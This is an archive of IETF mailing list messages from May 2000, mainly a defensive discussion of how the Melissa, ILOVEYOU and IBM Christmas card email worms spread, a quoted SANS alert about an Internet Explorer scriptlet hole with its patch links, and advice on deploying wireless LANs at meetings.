		Cc:	'Keith Moore'; 'Greg Skinner'; ietf@ietf.org
		Subject:	RE: IPv6: Past mistakes repeated?

		At 10:39 AM 5/8/2000 -0700, Jim Stephenson-Dunn wrote:
		>No! We don't want to fix the holes! We want to keep a
record of them
		>without telling the admins, and when they misbehave, not
only can we pop
		>their kneecaps, set fire to their house, release
information to their
		>families they wouldn't want to be released, but also as a
grand finale,
		>we can take control of the machine and do what we wanted
anyway.
		>Eventually, we as the IETF would have complete control of
every machine
		>connected to the Internet, thereby giving us control of the
entire
		>planet, which in turn would allow us to park wherever we
wanted and
		>*not*get*a*ticket*!!!!!! :-)


		Dang! Jim's gone and uncovered my nefarious retirement plan.
Now I'll
		have to think of something else :-(

		Jim, you left out the "Nyah-ha-ha-ha-ha-ha!" part...

		vint

		p.s. apologies to IETF list for cluttering with this. It
just slipped out.
	
=================================================================
		I moved to a new MCI WorldCom facility on Nov 11, 1999

		MCI WorldCom
		22001 Loudoun County Parkway
		Building F2, Room 4115, ATTN: Vint Cerf
		Ashburn, VA 20147
		Telephone (703) 886-1690
		FAX (703) 886-0047


		"INTERNET IS FOR EVERYONE!" 
		See you at INET2000, Yokohama, Japan July 18-21, 2000
		http://www.isoc.org/inet2000
		



From owner-ietf-outbound  Wed May 10 15:00:10 2000
Received: by ietf.org (8.9.1a/8.9.1a) id PAA02296
	for ietf-outbound.10@ietf.org; Wed, 10 May 2000 15:00:01 -0400 (EDT)
Received: from apollo.predictive.com (apollo.predictive.com [208.209.197.196])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA02248
	for <ietf@ietf.org>; Wed, 10 May 2000 14:57:42 -0400 (EDT)
From: Randall.Gale@predictive.com
To: "BookIII, Robert" <Robert.BookIII@cwusa.com>
Cc: ietf@ietf.org
Subject: RE: IPv6: Past mistakes repeated?
X-Mailer: Lotus Notes Release 5.0.2a (Intl) 23 November 1999
Message-ID: <OF64EB9B3E.B39FB15C-ON852568DB.006803C5@predictive.com>
Date: Wed, 10 May 2000 13:57:37 -0500
X-MIMETrack: Serialize by Router on Apollo/Predictive(Release 5.0.3 (Intl)|21 March 2000) at
 05/10/2000 02:57:48 PM,
	Serialize complete at 05/10/2000 02:57:48 PM
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Loop: ietf@ietf.org

Robert,

Thanks for the War Games references.
It actually made me lol and salvage an otherwise awful day.

Cheers!

----------------------------------
Randall Gale
Information Security
Predictive Systems
vox: 781-751-9629
fax: 781-329-9343
mailto:randall.gale@predictive.com
http://www.predictive.com
----------------------------------



From owner-ietf-outbound  Thu May 11 00:40:28 2000
Received: by ietf.org (8.9.1a/8.9.1a) id AAA09463
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 00:40:02 -0400 (EDT)
Received: from basecamp1.netquest.net (netquest.net [204.140.219.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA09426
	for <ietf@ietf.org>; Thu, 11 May 2000 00:37:26 -0400 (EDT)
Received: from nma.com (dsl0016.netquest.net [206.117.109.16]) by basecamp1.netquest.net (8.8.8/8.8.6) with ESMTP id VAA08679; Wed, 10 May 2000 21:37:56 -0700 (PDT)
To: Brant Knudson <blk@acm.org>
cc: ietf@ietf.org
Subject: Re: VIRUS WARNING 
In-reply-to: Your message of "Sat, 06 May 2000 00:38:29 -0000."
             <39136985.9052D499@acm.org> 
Reply-to: Stef@nma.com
From: Einar Stefferud <Stef@nma.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-ID: <13899.958019787.1@nma.com>
Date: Wed, 10 May 2000 21:36:28 -0700
Message-ID: <13901.958019788@nma.com>
Sender: stef@nma.com
X-Loop: ietf@ietf.org

The pattern is longer than you remember;-)...

From Brant's message Sat, 06 May 2000 00:38:29 +0000:
}
}I think I'm starting to see a pattern emerging in email viruses.
}
}Melissa:  Uses script to read user's address book to get the email
}addresses of new victims.
}ILOVEYOU: Uses script to read user's address book to get the email
}addresses of new victims.
}
}What method do you think the next email virus is going to use if
}Microsoft doesn't stop scripts from reading people's address books?  Why
}didn't MS plug this hole after Melissa?
}
}Brant

The first of these "worm/virus/addressbookmailers" was the IBM PROFS
"Chrismas Card" caper that occurred some time in the early 1990's,
long before MS willfully adopted the design.

((Aside: Do you suppose that MS wants to be like IBM so much that
  they are making all the same mistakes in the same serial order?))

Seems to me that this beloved "feature" (giving root privs to random
EMail messages) should (by now) now be fully discredited, and should
be destined for extinction, if only the customers will accept its
disappearance in trade for an absence of a continuing flood of these
$6,000,000,000 economic loss episodes.

This is a perfect proof of a conjecture made by Hasan Azbekan back in
the mid 1960's that "The Triumph of Technology is: Can Implies Shall".


There is no way to stop this kind of thing repeating and repeating
until the easily subverted facility disappears from the Internet.  And
as long as the customers demand it, it will continue;-)...  It is easy
to blame the vendors, but they are trapped into selling what the
customers demand.  So, the fault lies with the customers choices;-)...
And, they, led by the Fortune 2000, have rewarded MS handsomely for
creating the fertile ground for propagation.

For myself, I am contributing to the solution by never ever running
any kind of MS mail tool, ever again.  You see, I do not blame MS for
this.  I blame all the users of MS Mail tools for buying into the
game, and I am doing all that I can to make sure that I do not pay the
price for their disregard for their own safety and security.

I am pleased to say that I have not knowingly received a single copy
of the "LOVE BUG", even via mailing lists, though I do have to admit
to a certain sense of being unloved because of this great lack;-)...

Cheers...\Stef



From owner-ietf-outbound  Thu May 11 07:50:55 2000
Received: by ietf.org (8.9.1a/8.9.1a) id HAA24476
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 07:50:02 -0400 (EDT)
Received: from mail-green.research.att.com (H-135-207-30-103.research.att.com [135.207.30.103])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA24272
	for <ietf@ietf.org>; Thu, 11 May 2000 07:40:37 -0400 (EDT)
Received: from postal.research.att.com (postal.research.att.com [135.207.23.30])
	by mail-green.research.att.com (Postfix) with ESMTP
	id BD89D1E008; Thu, 11 May 2000 07:40:37 -0400 (EDT)
Received: from smb.research.att.com (postal.research.att.com [135.207.23.30])
	by postal.research.att.com (8.8.7/8.8.7) with ESMTP id HAA21890;
	Thu, 11 May 2000 07:40:36 -0400 (EDT)
Received: from smb.research.att.com (localhost.research.att.com [127.0.0.1])
	by smb.research.att.com (Postfix) with ESMTP
	id 2A6D135DC2; Thu, 11 May 2000 07:40:27 -0400 (EDT)
X-Mailer: exmh version 2.1.1 10/15/1999
From: "Steven M. Bellovin" <smb@research.att.com>
To: Stef@nma.com
Cc: Brant Knudson <blk@acm.org>, ietf@ietf.org
Subject: Re: VIRUS WARNING 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 11 May 2000 07:40:26 -0400
Sender: smb@research.att.com
Message-Id: <20000511114027.2A6D135DC2@smb.research.att.com>
X-Loop: ietf@ietf.org

In message <13901.958019788@nma.com>, Einar Stefferud writes:

>
>The first of these "worm/virus/addressbookmailers" was the IBM PROFS
>"Chrismas Card" caper that occurred some time in the early 1990's,
>long before MS willfully adopted the design.

It was in December, 1987.
>
>Seems to me that this beloved "feature" (giving root privs to random
>EMail messages) should (by now) now be fully discredited, and should
>be destined for extinction, if only the customers will accept its
>disappearance in trade for an absence of a continuing flood of these
>$6,000,000,000 economic loss episodes.

See http://catless.ncl.ac.uk/Risks/5.80.html#subj1 for details on how 
it worked -- but it didn't involve any analog to 'root' privileges.

When the recipient got a copy, there was an included (or attached; I 
don't quite remember) REXX file.  (REXX was a scripting language for VM/
CMS.)  The message told you that it would display a Christmas card if 
you ran it; most users did just that, since the note appeared to come 
from someone they knew.  And then the file replicated itself; you all 
know the rest.

Note the two crucial points -- it ran with the user's permissions, and 
it was explicitly run by the user, rather than by any automatic 
mechanism.

		--Steve Bellovin




From owner-ietf-outbound  Thu May 11 08:00:09 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA24813
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 08:00:03 -0400 (EDT)
Received: from kuji.off.connect.com.au (kuji.off.connect.com.au [203.63.69.33])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA24430
	for <ietf@ietf.org>; Thu, 11 May 2000 07:48:24 -0400 (EDT)
Received: by kuji.off.connect.com.au (Postfix, from userid 170)
	id 7E98610B25; Thu, 11 May 2000 21:17:52 +0930 (CST)
Received: from connect.com.au (localhost [127.0.0.1])
	by kuji.off.connect.com.au (Postfix) with ESMTP
	id 651326F6A; Thu, 11 May 2000 21:17:52 +0930 (CST)
To: "Fred L. Templin" <templin@erg.sri.com>
Cc: ietf@ietf.org
Subject: Re: Wireless LAN experiences from the IETF meetings?
In-reply-to: Your message of "Tue, 09 May 2000 14:12:28 MST."
             <39187F3C.3D709AC3@erg.sri.com>
MIME-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
Content-ID: <2754.958045666.1@connect.com.au>
Date: Thu, 11 May 2000 21:17:46 +0930
From: Mark Prior <mrp@connect.com.au>
Message-Id: <20000511114752.7E98610B25@kuji.off.connect.com.au>
X-Loop: ietf@ietf.org

     We are investigating the deployment of a wireless LAN infrastructure
     (IEEE 802.11) for our building and were hoping to tap into past
     experiences from wireless LAN deployments at the IETF meetings. Are
     there any documents online that present "guidelines" for deployment
     of wireless LANs at the IETF meetings? Alternatively, can anyone
     recommend other documents which might help get us started - especially
     along the lines of strategic deployment of IEEE 802.11 access points?

I'm not aware of any such documents. The problem with the IETF is that
every venue is different with it's own properties. For example we were
told that the Adelaide Convention Centre was relatively radio
transparent but when we got there and the inter Hall walls were put in
place we found that they weren't. This meant that the original plan
was out the window and it was back to mapping the venue as the AP's
were installed (together with installing more APs, including one in
each of the large halls which wasn't in the original plan).

I think you really need to borrow some kit and find out what your
environment is like.

Mark.



From owner-ietf-outbound  Thu May 11 08:30:12 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA25733
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 08:30:03 -0400 (EDT)
Received: from hudutilgw.ml.com (hudutilf01.ml.com [198.242.49.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA25460
	for <ietf@ietf.org>; Thu, 11 May 2000 08:24:17 -0400 (EDT)
Received: from ehudwt01.exchange.ml.com (ehudwt01.exchange.ml.com [199.201.37.22])
	by hudutilgw.ml.com (8.9.3/8.9.3/MLgwo-4.03) with SMTP id IAA02456;
	Thu, 11 May 2000 08:24:14 -0400 (EDT)
Received: from 172.20.64.1 by ehudwt01.exchange.ml.com with ESMTP (
 WorldSecure Server SMTP Relay(WSS) v4.5); Thu, 11 May 2000 08:24:14
 -0400
X-Server-Uuid: 3789b954-9c4e-11d3-af68-0008c73b0911
Received: by epcc01.na2.us.ml.com with Internet Mail Service (
 5.5.2650.21) id <KTMASHHP>; Thu, 11 May 2000 08:24:13 -0400
Message-ID: <C7A236ACE67FD311A0650001FA7E1AE41616CD@epcc23.na2.us.ml.com>
From: "Castro, Edison M. (PCA)" <ECastro@NA2.US.ML.com>
To: "'Steven M. Bellovin'" <smb@research.att.com>, Stef@NMA.COM
cc: "Brant Knudson" <blk@acm.org>, ietf@ietf.org
Subject: RE: VIRUS WARNING
Date: Thu, 11 May 2000 08:24:11 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
X-WSS-ID: 150479E481223-01-01
Content-Type: text/plain; 
 charset=iso-8859-1
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

That is exactly the same way that all Windows virus work. As a Windows 
user (as well as other OSes), I can say that people have to be responsible 
for their actions.  Whenever you receive any Email attachment, the only way
that attachment can produce any damage is if you run it.

At least in my copy of MS Word anytime I open a word document and it
contains
any macros, Word readily ask me if I want to allow the macro to execute. 
Not only that, this version of Word (2000) is configured to only ask me when
a signed (with a certificate of a trusted party) macro is included.

-----Original Message-----
From: Steven M. Bellovin [mailto:smb@research.att.com]
Sent: Thursday, May 11, 2000 7:40 AM
To: Stef@NMA.COM
Cc: Brant Knudson; ietf@ietf.org
Subject: Re: VIRUS WARNING


In message <13901.958019788@nma.com>, Einar Stefferud writes:

>
>The first of these "worm/virus/addressbookmailers" was the IBM PROFS
>"Chrismas Card" caper that occurred some time in the early 1990's,
>long before MS willfully adopted the design.

It was in December, 1987.
>
>Seems to me that this beloved "feature" (giving root privs to random
>EMail messages) should (by now) now be fully discredited, and should
>be destined for extinction, if only the customers will accept its
>disappearance in trade for an absence of a continuing flood of these
>$6,000,000,000 economic loss episodes.

See http://catless.ncl.ac.uk/Risks/5.80.html#subj1 for details on how 
it worked -- but it didn't involve any analog to 'root' privileges.

When the recipient got a copy, there was an included (or attached; I 
don't quite remember) REXX file.  (REXX was a scripting language for VM/
CMS.)  The message told you that it would display a Christmas card if 
you ran it; most users did just that, since the note appeared to come 
from someone they knew.  And then the file replicated itself; you all 
know the rest.

Note the two crucial points -- it ran with the user's permissions, and 
it was explicitly run by the user, rather than by any automatic 
mechanism.

		--Steve Bellovin





From owner-ietf-outbound  Thu May 11 08:50:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id IAA26326
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 08:50:02 -0400 (EDT)
Received: from tyholt.uninett.no (tyholt.uninett.no [158.38.60.10])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA26199
	for <ietf@ietf.org>; Thu, 11 May 2000 08:44:47 -0400 (EDT)
Received: from heimdal.uninett.no (IDENT:anders@heimdal.uninett.no [158.38.60.79])
	by tyholt.uninett.no (8.9.3/8.8.8) with ESMTP id OAA12822;
	Thu, 11 May 2000 14:44:43 +0200 (METDST)
Message-Id: <200005111244.OAA12822@tyholt.uninett.no>
X-Mailer: exmh version 2.1.1 10/15/1999
To: "Fred L. Templin" <templin@erg.sri.com>
cc: ietf@ietf.org
Subject: Re: Wireless LAN experiences from the IETF meetings? 
In-Reply-To: Message from "Fred L. Templin" <templin@erg.sri.com> 
   of "Tue, 09 May 2000 14:12:28 PDT." <39187F3C.3D709AC3@erg.sri.com> 
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 11 May 2000 14:44:43 +0200
From: Anders Lund <Anders.Lund@uninett.no>
X-Loop: ietf@ietf.org

>>>>> On Tue, 9 May 2000, "Fred" == Fred L. Templin wrote:

  Fred> We are investigating the deployment of a wireless LAN
  Fred> infrastructure (IEEE 802.11) for our building and were hoping
  Fred> to tap into past experiences from wireless LAN deployments
  Fred> at the IETF meetings.  Are there any documents online that
  Fred> present "guidelines" for deployment of wireless LANs at the IETF
  Fred> meetings?

Some old information about the wireless network at the 45th IETF in Oslo 
last summer at:

	http://www.uninett.no/ietf45/wlan/

Regards
 Anders

--
 Anders Lund <Anders.Lund@uninett.no>
 UNINETT A/S, N-7465 Trondheim, Norway
 Tlf: +47 73 55 79 08 | Fax: +47 73 55 79 01




From owner-ietf-outbound  Thu May 11 09:00:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA26516
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 09:00:02 -0400 (EDT)
Received: from mail.nbn.net (root@nbn.net [207.51.86.15])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id IAA26287
	for <ietf@ietf.org>; Thu, 11 May 2000 08:49:05 -0400 (EDT)
Received: from server-1 (dial1-29.nbn.net [208.139.67.23])
	by mail.nbn.net (8.9.3/8.9.3) with SMTP id IAA16869
	for <ietf@ietf.org>; Thu, 11 May 2000 08:49:05 -0400
Message-ID: <391AAE80.735F@nbn.net>
Date: Thu, 11 May 2000 08:58:40 -0400
From: Betsy Brennan <bbrennan@nbn.net>
Reply-To: bbrennan@nbn.net
X-Mailer: Mozilla 3.04 (Win95; U)
MIME-Version: 1.0
To: ietf@ietf.org
Subject: Thought about Security
References: <13901.958019788@nma.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

I was wondering, does it sound like a good idea to take ietf@ietf.org
out of our address books. This would prevent email virus's from
spreading through this forum. Betsy Brennan



From owner-ietf-outbound  Thu May 11 09:50:25 2000
Received: by ietf.org (8.9.1a/8.9.1a) id JAA27994
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 09:50:02 -0400 (EDT)
Received: from black-ice.cc.vt.edu (root@black-ice.cc.vt.edu [128.173.14.71])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA27897
	for <ietf@ietf.org>; Thu, 11 May 2000 09:44:50 -0400 (EDT)
From: Valdis.Kletnieks@vt.edu
Received: from black-ice.cc.vt.edu (valdis@LOCALHOST [127.0.0.1])
	by black-ice.cc.vt.edu (8.11.0.Beta0/8.11.0.Beta0) with ESMTP id e4BDiak23954;
	Thu, 11 May 2000 09:44:36 -0400
Message-Id: <200005111344.e4BDiak23954@black-ice.cc.vt.edu>
X-Mailer: exmh version 2.1.1 10/15/1999
To: "Castro, Edison M. (PCA)" <ECastro@NA2.US.ML.com>
cc: "'Steven M. Bellovin'" <smb@research.att.com>, Stef@NMA.COM,
        Brant Knudson <blk@acm.org>, ietf@ietf.org
Subject: Re: VIRUS WARNING 
In-reply-to: Your message of "Thu, 11 May 2000 08:24:11 EDT."
             <C7A236ACE67FD311A0650001FA7E1AE41616CD@epcc23.na2.us.ml.com> 
X-URL: http://black-ice.cc.vt.edu/~valdis/
X-Face: 34C9$Ewd2zeX+\!i1BA\j{ex+$/V'JBG#;3_noWWYPa"|,I#`R"{n@w>#:{)FXyiAS7(8t(
 ^*w5O*!8O9YTe[r{e%7(yVRb|qxsRYw`7J!`AM}m_SHaj}f8eb@d^L>BrX7iO[<!v4-0bVIpaxF#-)
 %9#a9h6JXI|T|8o6t\V?kGl]Q!1V]GtNliUtz:3},0"hkPeBuu%E,j(:\iOX-P,t7lRR#
References: <C7A236ACE67FD311A0650001FA7E1AE41616CD@epcc23.na2.us.ml.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Date: Thu, 11 May 2000 09:44:36 -0400
X-Loop: ietf@ietf.org

On Thu, 11 May 2000 08:24:11 EDT, "Castro, Edison M. (PCA)" said:
> That is exactly the same way that all Windows virus work. As a Windows 
> user (as well as other OSes), I can say that people have to be responsible 
> for their actions.  Whenever you receive any Email attachment, the only way
> that attachment can produce any damage is if you run it.

Well, it's worse.  Melissa, the Love Bug, and the Christmas worm all required
the user to take an action (click/open/run the payload).

However, there's apparently ANOTHER hole....

Seen on a SANS posting yesterday:

/Valdis
-- 10 May 2000  Email viruses are now spreading WITHOUT THE USER
                OPENING ANY ATTACHMENT.
Personal computers running Internet Explorer (IE) version 5.0 and/or
Microsoft Office 2000 are vulnerable to virus attacks using most email
systems, even if the email recipient opens no attachments.  You don't
even have to use IE; just have it installed with the default security
settings.  If you have not closed the hole, you can receive viruses (and
spread them) by viewing or previewing malicious email without opening
any attachment, or by visiting a malicious web site. The problem is
caused by a programming bug in an Internet Explorer ActiveX control
called scriptlet.typelib.  This is by far the fastest growing virus
distribution problem and ripe for a hugely destructive event - at least
as large as the ILOVEYOU virus.  Updating your virus detection software,
while important, is not an effective solution for this problem. You must
also close the hole.  The hole can be closed in five minutes or less
using tools available at Microsoft's security site:
http://www.microsoft.com/security/bulletins/ms99-032.asp 
The correction script may be run directly from:
http://www.microsoft.com/msdownload/iebuild/scriptlet/en/scriptlet.htm
Editor's Note: Thanks to Jimmy Kuo of Network Associates and Nick
FitzGerald of Computer Virus Consulting Ltd. for raising the visibility
of this dangerous problem.



From owner-ietf-outbound  Thu May 11 10:10:13 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA28520
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 10:10:02 -0400 (EDT)
Received: from localhost.localdomain (IDENT:root@[204.214.6.250])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA28434
	for <ietf@ietf.org>; Thu, 11 May 2000 10:07:50 -0400 (EDT)
Received: from tech20 ([204.214.6.254])
	by localhost.localdomain (8.9.3/8.8.7) with SMTP id KAA14658;
	Thu, 11 May 2000 10:06:34 -0400
From: "Scot Mc Pherson" <smcpherson@clearaccess.net>
To: <Valdis.Kletnieks@vt.edu>,
        "'Castro, Edison M. (PCA)'" <ECastro@NA2.US.ML.com>
Cc: "'Steven M. Bellovin'" <smb@research.att.com>, <Stef@NMA.COM>,
        "'Brant Knudson'" <blk@ACM.ORG>, <ietf@ietf.org>
Subject: RE: VIRUS WARNING 
Date: Thu, 11 May 2000 10:07:13 -0400
Message-ID: <002801bfbb52$357d9c00$4cc8a8c0@clearaccess.net>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2910.0)
In-Reply-To: <200005111344.e4BDiak23954@black-ice.cc.vt.edu>
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2314.1300
Importance: Normal
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

I believe the one of the most important holes is html based mail, because
the e-mail is processed as a webpage which can be used to download
undesirable content. If you configure your e-mail browser to display all
messages as text you will close this hole...You will notice my e-mails are
nearly 100% text

Scot

-----Original Message-----
From: Valdis.Kletnieks@vt.edu [mailto:Valdis.Kletnieks@vt.edu]
Sent: Thursday, May 11, 2000 9:45 AM
To: Castro, Edison M. (PCA)
Cc: 'Steven M. Bellovin'; Stef@NMA.COM; Brant Knudson; ietf@ietf.org
Subject: Re: VIRUS WARNING


On Thu, 11 May 2000 08:24:11 EDT, "Castro, Edison M. (PCA)" said:
> That is exactly the same way that all Windows virus work. As a Windows
> user (as well as other OSes), I can say that people have to be responsible
> for their actions.  Whenever you receive any Email attachment, the only
way
> that attachment can produce any damage is if you run it.

Well, it's worse.  Melissa, the Love Bug, and the Christmas worm all
required
the user to take an action (click/open/run the payload).

However, there's apparently ANOTHER hole....

Seen on a SANS posting yesterday:

/Valdis
-- 10 May 2000  Email viruses are now spreading WITHOUT THE USER
                OPENING ANY ATTACHMENT.
Personal computers running Internet Explorer (IE) version 5.0 and/or
Microsoft Office 2000 are vulnerable to virus attacks using most email
systems, even if the email recipient opens no attachments.  You don't
even have to use IE; just have it installed with the default security
settings.  If you have not closed the hole, you can receive viruses (and
spread them) by viewing or previewing malicious email without opening
any attachment, or by visiting a malicious web site. The problem is
caused by a programming bug in an Internet Explorer ActiveX control
called scriptlet.typelib.  This is by far the fastest growing virus
distribution problem and ripe for a hugely destructive event - at least
as large as the ILOVEYOU virus.  Updating your virus detection software,
while important, is not an effective solution for this problem. You must
also close the hole.  The hole can be closed in five minutes or less
using tools available at Microsoft's security site:
http://www.microsoft.com/security/bulletins/ms99-032.asp
The correction script may be run directly from:
http://www.microsoft.com/msdownload/iebuild/scriptlet/en/scriptlet.htm
Editor's Note: Thanks to Jimmy Kuo of Network Associates and Nick
FitzGerald of Computer Virus Consulting Ltd. for raising the visibility
of this dangerous problem.



From owner-ietf-outbound  Thu May 11 10:30:14 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA28873
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 10:30:02 -0400 (EDT)
Received: from calcite.rhyolite.com (calcite.rhyolite.com [38.159.140.3])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA28730
	for <ietf@ietf.org>; Thu, 11 May 2000 10:20:20 -0400 (EDT)
Received: (from vjs@localhost)
	by calcite.rhyolite.com (8.9.3/calcite) id IAA24787
	for ietf@ietf.org  env-from <vjs>;
	Thu, 11 May 2000 08:20:19 -0600 (MDT)
Date: Thu, 11 May 2000 08:20:19 -0600 (MDT)
From: Vernon Schryver <vjs@calcite.rhyolite.com>
Message-Id: <200005111420.IAA24787@calcite.rhyolite.com>
To: ietf@ietf.org
Subject: RE: VIRUS WARNING
X-Loop: ietf@ietf.org

> From owner-ietf-outbound@ietf.org Thu May 11 06:36:01 2000
> From: Steven M. Bellovin [mailto:smb@research.att.com]

> ...
> > Note the two crucial points -- it ran with the user's permissions, and 
> > it was explicitly run by the user, rather than by any automatic 
> > mechanism.


> From: "Castro, Edison M. (PCA)" <ECastro@NA2.US.ML.com>

> That is exactly the same way that all Windows virus work. As a Windows 
> user (as well as other OSes), I can say that people have to be responsible 
> for their actions.  Whenever you receive any Email attachment, the only way
> that attachment can produce any damage is if you run it.
> ...

> Not only that, this version of Word (2000) is configured to only ask me when
> a signed (with a certificate of a trusted party) macro is included.


There are serious mistakes in that.
First, is the perhaps minor point that rumor has it that Outlook Express
(as opposed to Outlook) is eager to open attachments automatically.

Second, what matters is not only what configuration changes can be made
to close some of the holes, but how systems are configured by default
from the CDROM's and how they are most commonly configured in practice.

Third, and where the first serious mistake lies, on Windows 98 the worm
did not run with merely the user's permissions.  That constrasts with
reasonable operating systems, where much of its damage would be impossible.

Forth, the most serious problem is that most computer users and many who
consider themselves more than mere users have no clue what is meant by
"the user's permissions."  The main desktop operating system vendors can
be blamed more for obscuring that notion among users than for their other
crimes.  It is the equivalent of refusing to equip cars with seat belts,
air bags, stop lights and tail lights on grounds of "user-friendliness."


Never mind that the current worm involved Visual Basic instead of Word
macros.  Regardless of the programming language, given the familiar
"feature rich," "user friendliness," it's probably trivial for a worm to
find the user's signature and sign its spawn.  You wouldn't want users to
need to type a passphrase, use a smart card, or anything else so
complicated and user-unfriendly merely to send mail, would you?  Thus,
the next act in this circus will not only involve email from people you
know (as this one did), but it will also be cryptographically signed by
the apparent senders.


Vernon Schryver    vjs@rhyolite.com



From owner-ietf-outbound  Thu May 11 10:50:07 2000
Received: by ietf.org (8.9.1a/8.9.1a) id KAA29387
	for ietf-outbound.10@ietf.org; Thu, 11 May 2000 10:50:02 -0400 (EDT)
Received: from btw.plaintalk.bellevue.wa.us (btw-xl1.plaintalk.bellevue.wa.us [206.129.5.130])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA29343
	for <ietf@ietf.org>; Thu, 11 May 2000 10:48:20 -0400 (EDT)
Received: from software-munitions.com (fwiw.plaintalk.bellevue.wa.us [206.129.5.157])
	by btw.plaintalk.bellevue.wa.us (8.10.1/8.10.1) with ESMTP id e4BEkmP23834;
	Thu, 11 May 2000 07:46:48 -0700 (PDT)
Message-ID: <391AC7D8.6E06FFDF@software-munitions.com>
Date: Thu, 11 May 2000 07:46:48 -0700
From: Dennis Glatting <dennis.glatting@software-munitions.com>
X-Mailer: Mozilla 4.72 [en] (WinNT; U)
X-Accept-Language: en
MIME-Version: 1.0
To: Scot Mc Pherson <smcpherson@clearaccess.net>
CC: Valdis.Kletnieks@vt.edu,
        "'Castro, Edison M. (PCA)'" <ECastro@NA2.US.ML.com>,
        "'Steven M. Bellovin'" <smb@research.att.com>, Stef@NMA.COM,
        "'Brant Knudson'" <blk@ACM.ORG>, ietf@ietf.org
Subject: Re: VIRUS WARNING
References: <002801bfbb52$357d9c00$4cc8a8c0@clearaccess.net>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
X-Loop: ietf@ietf.org
Content-Transfer-Encoding: 7bit

Scot Mc Pherson wrote:
> 
> I believe the one of the most important holes is html based mail, because
> the e-mail is processed as a webpage which can be used to download
> undesirable content. If you configure your e-mail browser to display all
> messages as text you will close this hole...You will notice my e-mails are
> nearly 100% text
> 

Downloading content is also a form of receipt notification and
capabilities discovery, which mass e-mailers love to know. Barnes and
Noble have done mass e-mailings learning to tailor future content,
whether you want it or not. 

Another case is teenpicks.com (teen sexual pictures). If we suppose a
CEO, CFO, or directors of a corporation received sexually oriented
HTML e-mail and that e-mail deposited cookies then a claim of a
sexually hostile atmosphere by an employee can be hard to dispute.






> Scot
> 
> -----Original Message-----
> From: Valdis.Kletnieks@vt.edu [mailto:Valdis.Kletnieks@vt.edu]
> Sent: Thursday, May 11, 2000 9:45 AM
> To: Castro, Edison M. (PCA)
> Cc: 'Steven M. Bellovin'; Stef@NMA.COM; Brant Knudson; ietf@ietf.org
> Subject: Re: VIRUS WARNING
> 
> On Thu, 11 May 2000 08:24:11 EDT, "Castro, Edison M. (PCA)" said:
> > That is exactly the same way that all Windows virus work. As a Windows
> > user (as well as other OSes), I can say that people have to be responsible
> > for their actions.  Whenever you receive any Email attachment, the only
> way
> > that attachment can produce any damage is if you run it.
> 
> Well, it's worse.  Melissa, the Love Bug, and the Christmas worm all
> required
> the user to take an action (click/open/run the payload).
> 
> However, there's apparently ANOTHER hole....
> 
> Seen on a SANS posting yesterday:
> 
> /Valdis
> -- 10 May 2000  Email viruses are now spreading WITHOUT THE USER
>                 OPENING ANY ATTACHMENT.
> Personal computers running Internet Explorer (IE) version 5.0 and/or
> Microsoft Office 2000 are vulnerable to virus attacks using most email
> systems, even if the email recipient opens no attachments.  You don't
> even have to use IE; just have it installed with the default security
> settings.  If you have not closed the hole, you can receive viruses (and
> spread them) by viewing or previewing malicious email without opening
> any attachment, or by visiting a malicious web site. The problem is
> caused by a programming bug in an Internet Explorer ActiveX control
> called scriptlet.typelib.  This is by far the fastest growing virus
> distribution problem and ripe for a hugely destructive event - at least
> as large as the ILOVEYOU virus.  Updating your virus detection software,
> while important, is not an effective solution for this problem. You must
> also close the hole.  The hole can be closed in five minutes or less
> using tools available at Microsoft's security site:
> http://www.microsoft.com/security/bulletins/ms99-032.asp
> The correction script may be run directly from:
> http://www.microsoft.com/msdownload/iebuild/scriptlet/en/scriptlet.htm
> Editor's Note: Thanks to Jimmy Kuo of Network Associates and Nick
> FitzGerald of Computer Virus Consulting Ltd. for raising the visibility
> of this dangerous problem.


-- 
Dennis Glatting
